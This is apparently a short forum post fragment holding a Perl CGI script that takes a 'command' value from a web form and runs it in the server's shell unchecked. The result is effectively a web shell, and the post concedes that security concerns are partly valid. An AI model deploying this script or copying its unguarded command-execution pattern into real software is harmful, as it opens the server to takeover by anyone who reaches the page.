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The security concerns are valid to a degree

#!/usr/bin/perl $|++; use CGI qw( :standard ); use CGI::Carp qw( fatalsToBrowser ); print header(),start_form({ -method=>'get' }), textfield({-size=>75,-name=>'command'}), submit('Run'), end_form +(); if (my $command = param('command')) { open( CMD, "$command 2>&1|" ) or die_nice( "$!: running command: '$c +ommand'" ); print "<pre>\n"; print escapeHTML($_,1) while (<CMD>); print "</pre>\n", end_html; close CMD; } sub die_nice{ print shift and exit }




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